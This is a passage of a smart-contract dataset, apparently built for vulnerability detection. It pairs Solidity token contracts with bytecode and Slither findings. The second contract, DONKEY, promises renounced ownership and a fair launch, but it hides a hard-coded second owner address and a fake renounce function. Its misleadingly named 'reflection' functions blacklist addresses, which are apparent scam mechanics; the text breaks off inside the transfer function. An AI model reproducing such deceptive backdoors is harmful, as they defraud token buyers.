/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns(bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
}
contract ISCToken is EIP20Interface,Ownable,SafeMath,Pausable{
//// Constant token specific fields
string public constant name ="ISCToken";
string public constant symbol = "ISC";
uint8 public constant decimals = 18;
string public version = 'v0.1';
uint256 public constant initialSupply = 1010101010;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
//sum of buy
mapping (address => uint) public jail;
mapping (address => uint256) public updateTime;
//Locked token
mapping (address => uint256) public LockedToken;
//set raise time
uint256 public finaliseTime;
//to receive eth from the contract
address public walletOwnerAddress;
//Tokens to 1 eth
uint256 public rate;
event WithDraw(address indexed _from, address indexed _to,uint256 _value);
event BuyToken(address indexed _from, address indexed _to, uint256 _value);
function ISCToken() public {
totalSupply = initialSupply*10**uint256(decimals); // total supply
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
walletOwnerAddress = msg.sender;
rate = 10000;
}
modifier notFinalised() {
require(finaliseTime == 0);
_;
}
function balanceOf(address _account) public view returns (uint) {
return balances[_account];
}
function _transfer(address _from, address _to, uint _value) internal whenNotPaused returns(bool) {
require(_to != address(0x0)&&_value>0);
require (canTransfer(_from, _value));
require(balances[_from] >= _value);
require(safeAdd(balances[_to],_value) > balances[_to]);
uint previousBalances = safeAdd(balances[_from],balances[_to]);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
emit Transfer(_from, _to, _value);
assert(safeAdd(balances[_from],balances[_to]) == previousBalances);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success){
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= allowances[_from][msg.sender]);
allowances[_from][msg.sender] = safeSub(allowances[_from][msg.sender],_value);
return _transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowances[msg.sender][_spender] = safeAdd(allowances[msg.sender][_spender],_addedValue);
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);
}
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowances[_owner][_spender];
}
//close the raise
function setFinaliseTime() onlyOwner notFinalised public returns(bool){
finaliseTime = now;
rate = 0;
return true;
}
//close the raise
function Restart(uint256 newrate) onlyOwner public returns(bool){
finaliseTime = 0;
rate = newrate;
return true;
}
function setRate(uint256 newrate) onlyOwner notFinalised public returns(bool) {
rate = newrate;
return true;
}
function setWalletOwnerAddress(address _newaddress) onlyOwner public returns(bool) {
walletOwnerAddress = _newaddress;
return true;
}
//Withdraw eth form the contranct
function withdraw(address _to) internal returns(bool){
require(_to.send(this.balance));
emit WithDraw(msg.sender,_to,this.balance);
return true;
}
//Lock tokens
function canTransfer(address _from, uint256 _value) internal view returns (bool success) {
uint256 index;
uint256 locked;
index = safeSub(now, updateTime[_from]) / 1 days;
if(index >= 160){
return true;
}
uint256 releasedtemp = safeMul(index,jail[_from])/200;
if(releasedtemp >= LockedToken[_from]){
return true;
}
locked = safeSub(LockedToken[_from],releasedtemp);
require(safeSub(balances[_from], _value) >= locked);
return true;
}
function _buyToken(address _to,uint256 _value)internal notFinalised whenNotPaused{
require(_to != address(0x0));
uint256 index;
uint256 locked;
if(updateTime[_to] == 0){
locked = safeSub(_value,_value/5);
LockedToken[_to] = safeAdd(LockedToken[_to],locked);
}else{
index = safeSub(now,updateTime[_to])/1 days;
uint256 releasedtemp = safeMul(index,jail[_to])/200;
if(releasedtemp >= LockedToken[_to]){
LockedToken[_to] = 0;
}else{
LockedToken[_to] = safeSub(LockedToken[_to],releasedtemp);
}
locked = safeSub(_value,_value/5);
LockedToken[_to] = safeAdd(LockedToken[_to],locked);
}
balances[_to] = safeAdd(balances[_to], _value);
jail[_to] = safeAdd(jail[_to], _value);
balances[walletOwnerAddress] = safeSub(balances[walletOwnerAddress],_value);
updateTime[_to] = now;
withdraw(walletOwnerAddress);
emit BuyToken(msg.sender, _to, _value);
}
function() public payable{
require(msg.value >= 0.001 ether);
uint256 tokens = safeMul(msg.value,rate);
_buyToken(msg.sender,tokens);
}
} | 0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101b3578063095ea7b31461024357806318160ddd146102a857806323b872dd146102d357806327e235e3146103585780632c4e722e146103af578063313ce567146103da578063348e97791461040b57806334fcf43714610450578063378dc3dc146104955780633f4ba83a146104c0578063413e7000146104d757806354fd4d501461052e57806355b6ed5c146105be5780635c975abb14610635578063661884631461066457806370a08231146106c957806371463599146107205780638456cb59146107775780638da5cb5b1461078e57806395d89b41146107e55780639bcbea5214610875578063a0df9538146108cc578063a763834614610923578063a9059cbb14610952578063b556188e146109b7578063d250ee78146109e2578063d73dd62314610a3d578063dd62ed3e14610aa2578063f2fde38b14610b19575b600066038d7ea4c68000341015151561019857600080fd5b6101a434600a54610b5c565b90506101b03382610b97565b50005b3480156101bf57600080fd5b506101c861122d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102085780820151818401526020810190506101ed565b50505050905090810190601f1680156102355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024f57600080fd5b5061028e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611266565b604051808215151515815260200191505060405180910390f35b3480156102b457600080fd5b506102bd611358565b6040518082815260200191505060405180910390f35b3480156102df57600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061135e565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b50610399600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b3480156103bb57600080fd5b506103c4611539565b6040518082815260200191505060405180910390f35b3480156103e657600080fd5b506103ef61153f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561041757600080fd5b5061043660048036038101908080359060200190929190505050611544565b604051808215151515815260200191505060405180910390f35b34801561045c57600080fd5b5061047b600480360381019080803590602001909291905050506115ba565b604051808215151515815260200191505060405180910390f35b3480156104a157600080fd5b506104aa611639565b6040518082815260200191505060405180910390f35b3480156104cc57600080fd5b506104d5611641565b005b3480156104e357600080fd5b50610518600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611701565b6040518082815260200191505060405180910390f35b34801561053a57600080fd5b50610543611719565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610583578082015181840152602081019050610568565b50505050905090810190601f1680156105b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105ca57600080fd5b5061061f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b7565b6040518082815260200191505060405180910390f35b34801561064157600080fd5b5061064a6117dc565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b506106af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117ef565b604051808215151515815260200191505060405180910390f35b3480156106d557600080fd5b5061070a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a77565b6040518082815260200191505060405180910390f35b34801561072c57600080fd5b50610761600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ac0565b6040518082815260200191505060405180910390f35b34801561078357600080fd5b5061078c611ad8565b005b34801561079a57600080fd5b506107a3611b98565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f157600080fd5b506107fa611bbe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561083a57808201518184015260208101905061081f565b50505050905090810190601f1680156108675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561088157600080fd5b506108b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bf7565b6040518082815260200191505060405180910390f35b3480156108d857600080fd5b506108e1611c0f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561092f57600080fd5b50610938611c35565b604051808215151515815260200191505060405180910390f35b34801561095e57600080fd5b5061099d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cba565b604051808215151515815260200191505060405180910390f35b3480156109c357600080fd5b506109cc611ceb565b6040518082815260200191505060405180910390f35b3480156109ee57600080fd5b50610a23600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cf1565b604051808215151515815260200191505060405180910390f35b348015610a4957600080fd5b50610a88600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d99565b604051808215151515815260200191505060405180910390f35b348015610aae57600080fd5b50610b03600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8c565b6040518082815260200191505060405180910390f35b348015610b2557600080fd5b50610b5a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612013565b005b6000806000841415610b715760009150610b90565b8284029050828482811515610b8257fe5b04141515610b8c57fe5b8091505b5092915050565b600080600080600854141515610bac57600080fd5b600160149054906101000a900460ff16151515610bc857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610c0457600080fd5b6000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610cf557610c6284600586811515610c5c57fe5b046120b3565b9150610cad600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120cc565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f69565b62015180610d4242600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b3565b811515610d4b57fe5b04925060c8610d9984600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5c565b811515610da257fe5b049050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101515610e37576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec4565b610e80600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826120b3565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610eda84600586811515610ed457fe5b046120b3565b9150610f25600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120cc565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fb2600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856120cc565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103e600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856120cc565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ec60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856120b3565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c0600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166120ea565b508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa5ff468a42a1c7f5a78dd6683a9722f1ef3c388d590959bbd7a6d2c837fcab07866040518082815260200191505060405180910390a35050505050565b6040805190810160405280600881526020017f495343546f6b656e00000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600160149054906101000a900460ff1615151561137c57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561140757600080fd5b61148d600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120b3565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115188484846121c8565b90509392505050565b60036020528060005260406000206000915090505481565b600a5481565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a257600080fd5b600060088190555081600a8190555060019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161857600080fd5b600060085414151561162957600080fd5b81600a8190555060019050919050565b633c34eb1281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169d57600080fd5b600160149054906101000a900460ff1615156116b857600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60076020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117af5780601f10611784576101008083540402835291602001916117af565b820191906000526020600020905b81548152906001019060200180831161179257829003601f168201915b505050505081565b6004602052816000526040600020602052806000526040600020600091509150505481565b600160149054906101000a900460ff1681565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611900576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198b565b61190a81846120b3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60066020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3457600080fd5b600160149054906101000a900460ff16151515611b5057600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f495343000000000000000000000000000000000000000000000000000000000081525081565b60056020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c9357600080fd5b6000600854141515611ca457600080fd5b426008819055506000600a819055506001905090565b6000600160149054906101000a900460ff16151515611cd857600080fd5b611ce33384846121c8565b905092915050565b60085481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4f57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000611e21600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120cc565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156120c157fe5b818303905092915050565b60008082840190508381101515156120e057fe5b8091505092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561214357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fec37a407e13e9283023de85016cfda169c84b8f0e8dcda13c92311ab8fee7ad53073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a360019050919050565b600080600160149054906101000a900460ff161515156121e757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122245750600083115b151561222f57600080fd5b61223985846125cc565b151561224457600080fd5b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561229257600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856120cc565b11151561232757600080fd5b6123af600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cc565b90506123fa600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846120b3565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612486600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846120cc565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3806125b7600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cc565b1415156125c057fe5b60019150509392505050565b6000806000806201518061261f42600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b3565b81151561262857fe5b04925060a08310151561263e576001935061278d565b60c861268984600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5c565b81151561269257fe5b049050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015156126e6576001935061278d565b61272f600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826120b3565b91508161277b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876120b3565b1015151561278857600080fd5b600193505b505050929150505600a165627a7a7230582015e64c6005527c824984d990a30abe1d585d550ffcda70473c292ce1a0f9ce160029 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 664 |
0x0810ba863456f71573dec11531b89a5b558f3858 | /**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
/*
More info available on our telegram and website
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract DONKEY is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "DONKEY";
string public _symbol= "DONKEY";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x5a28E0cbEE9B9aD286cda1A2d1e48CCb0427916F);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
